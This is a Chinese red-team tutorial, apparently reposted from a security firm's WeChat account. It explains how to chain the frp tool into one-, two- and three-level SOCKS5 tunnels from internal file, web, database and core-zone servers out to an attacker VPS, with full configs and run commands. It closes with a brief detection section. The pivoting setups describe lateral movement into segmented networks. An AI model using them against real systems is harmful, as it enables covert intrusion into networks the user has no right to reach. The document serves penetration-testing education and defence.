一、frp介绍
frp 是一个开源、简洁易用、高性能的内网穿透和反向代理软件,支持 tcp, udp, http, https等协议。
frp项目官网:
https:
//github.com/fatedier/frp
二、frp工作原理
frp工作原理如下:
服务端运行,监听一个主端口,等待客户端的连接,客户端连接到服务端的主端口,同时告诉服务端要监听的端口和转发类型,服务端fork新的进程监听客户端指定的端口,外网用户连接到客户端指定的端口,服务端通过和客户端的连接将数据转发到客户端,客户端进程再将数据转发到本地服务,从而实现内网对外暴露服务的能力。
三、配置方
1
1、说明
A:VPS服务器:212.120.20.10
B:文件服务器:eht0:10.10.1.1、eht1:192.168.1.1
|
测试人员向获取文件服务器的网络,想和10.10.1.1通信,需要文件服务器连接VPS,通过socks代理打通隧道,在测试人员电脑配置socks代理,实现在测试人员电脑获取文件服务器网络。
1
2、文件服务器配置frpc客户端
因为文件服务器是windows X64位的,所以需要配置frp x64的。
frpc.ini的配置:
[common]
server_addr
=
212.129
.xx.xx VPS的IP,也就是服务端的IP
server_port
=
59120
服务端的端口
[http_proxy]
type
= tcp
remote_port
=
59121
代理出来的端口
plugin
= socks5 代理的协议
*左右滑动查看更多
将这些上传到文件服务器上。
C:UsersPublicDownloadsfrp1
|
1
3、VPS服务器配置frps服务端
我们的vps是linux的,因此这里需要运行linux版本的。
frps.ini的配置:
|
[common]
bind_addr
=
0.0
.
0.0
bind_port
=
59120
服务端的端口
1
4、运行frp
在VPS上启动frps:
nohup ./frps -c frps.ini
frps.log
2
>&
1
&
*左右滑动查看更多
在web服务器启动frpc:
cd
C
:
Users
Public
Downloads
frp1
frpc
.exe
-c
frpc
.ini
*左右滑动查看更多
1
5、测试网络
使用Proxifier测试socks5代理成功:
1
1、说明
A:VPS服务器:212.129.20.10
B:WEB服务器:eht0:10.10.1.1、eht1:10.10.3.100
C:数据库服务器:eth0:10.10.3.6、eth1:15.9.10.1
D:数据汇总服务器:eth0:15.9.10.2
|
测试人员电脑想要和数据汇总服务器15.9.10.2直接通信,需要搭建二级代理实现。
实现方式:
VPS服务器部署frpS服务端,WEB服务器部署frpS服务端及署frpC客户端,数据库服务器部署frpC客户端。
1
2、VPS服务器配置frps服务端
[common]
bind_addr
=
0.0
.
0.0
bind_port
=
59150
1
3、web服务配置frps服务端
[common]
bind_addr
=
10.10
.
3.100
web服务器的eth1的IP地址
bind_port
=
59150
*左右滑动查看更多
|
1
4、web服务配置frpc客户端
# frpc.ini
[common]
server_addr
=
212.129
.xx.xx VPS的地址
server_port
=
59130
[http_proxy]
type
= tcp
local_ip
=
10.10
.
3.100
web服务器的eth1的IP地址
local_port
=
59131
remote_port
=
59131
*左右滑动查看更多
|
1
5、数据库服务器配置frpc客户端
# frpc.ini
[common]
server_addr
=
10.10
.
3.100
web服务器的eth1的IP地址
server_port
=
59130
[http_proxy]
type
= tcp
remote_port
=
59131
plugin
= socks5
*左右滑动查看更多
|
1
6、运行frp
先启动VPS上的frps:
nohup ./frps -c frps.ini
frps.log
2
>&
1
&
*左右滑动查看更多
在启动web服务器上的frps:
frps
-c
frps
.ini
在启动web服务器上的frpc:
frpc
-c
frpc
.ini
最后启动数据库服务器上的frpc:
这样我们的frp就搭建成功了,只要配置好代理,我们就能访问15.9.10.2了。
1
1、说明
A:VPS服务器:42.194.210.26
B:WEB服务器:eth0:192.168.0.100、eth1:10.10.3.100
C:数据库服务器:eth0:10.10.3.6、eth1:10.12.10.5
D:数据汇总:eth0:10.12.10.3、eth1:20.20.20.10
E:核心区机器:eth0:20.20.20.11
|
测试人员电脑想要和数据汇总服务器20.20.20.11直接通信,需要搭建三级代理实现。
核心域主机不能直接连接vps,可以连接内网域数据汇总服务器,内网域数据汇总服务器不能直接连接vps,可以连接DMZ域数据库服务器,DMZ域数据库服务器不能直接连接vps服务器,可以连接DMZ域WEB服务器,DMZ域WEB服务器可以直接连接vps服务器,所以通过DMZ域WEB服务器作为跳板,将socks代理建设在DMZ域WEB服务器中后,将打通隧道进行横向攻击核心域机器。
1
2、ini文件配置信息
VPS服务器:
# frps.ini
[common]
bind_addr
=
0.0
.
0.0
bind_port
=
36128
web服务器:
# frpc.ini
[common]
server_addr
=
42.194
.
210.26
#VPS服务器地址
server_port
=
36128
[http_proxy]
type
= tcp
local_ip
=
10.10
.
3.100
#WEB服务器eth1的IP地址
local_port
=
36129
remote_port
=
36129
# frps.ini
[common]
bind_addr
=
10.10
.
3.100
#WEB服务器eth1的IP地址
bind_port
=
36128
*左右滑动查看更多
数据库服务器:
# frpc.ini
[common]
server_addr
=
10.10
.
3.100
#WEB服务器eth1的IP地址
server_port
=
36128
[http_proxy]
type
= tcp
local_ip
=
10.12
.
10.5
#数据库服务器eth1的IP地址
local_port
=
36129
remote_port
=
36129
# frps.ini
[common]
bind_addr
=
10.12
.
10.5
#数据库服务器eth1的IP地址
bind_port
=
36128
*左右滑动查看更多
数据汇总服务器:
# frpc.ini
[common]
server_addr
=
10.12
.
10.5
#数据库服务器eth1的IP地址
server_port
=
36128
[http_proxy]
type
= tcp
remote_port
=
36129
plugin
= socks5
*左右滑动查看更多
1
3、 frp 运行顺序
frpc.exe、frps.exe和ini文件放到各自目录之后开始执行。
要注意执行顺序,从内而外,不能一股脑全执行。
1 、数据汇总服务器和数据库服务器建立代理
数据库服务器开启服务端监听:
shell
frps
.exe
-c
frps
.ini
数据汇总服务器开启客户端连接:
shell
frpc
.exe
-c
frpc
.ini
数据库服务器回显如下,此时双方建立隧道成功。
2、数据库服务器和WEB服务器建立代理
WEB服务器开启服务监听:
shell
frps
.exe
-c
frps
.ini
数据库服务器开启客户端连接:
shell
frpc
.exe
-c
frpc
.ini
WEB服务器回显如下,此时双方建立隧道成功。
3、WEB服务器和VPS建立代理
VPS服务器开启服务监听:
shell
frps
.exe
-c
frps
.ini
WEB服务器开启客户端连接:
shell
frpc
.exe
-c
frpc
.ini
vps服务器回显表示建立成果:
1
4、测试网络
socks5
:42.194.210.26
:36129
四、检测与预防
frp服务端运行,监听一个主端口,等待客户端的连接,客户端进程将数据转发到服务端,从而实现内网对外暴露服务的能力,如果电脑被植入frp服务,存在极高安全隐患。
1、可通过流量检测系统,分析流量中frp特征,检测电脑是否运行frp。
2、本机执行ps -ef | grep frp 查看本机运行frp情况,对恶意程序及时处置。
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 红队常用内网穿透工具-FRP介绍
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论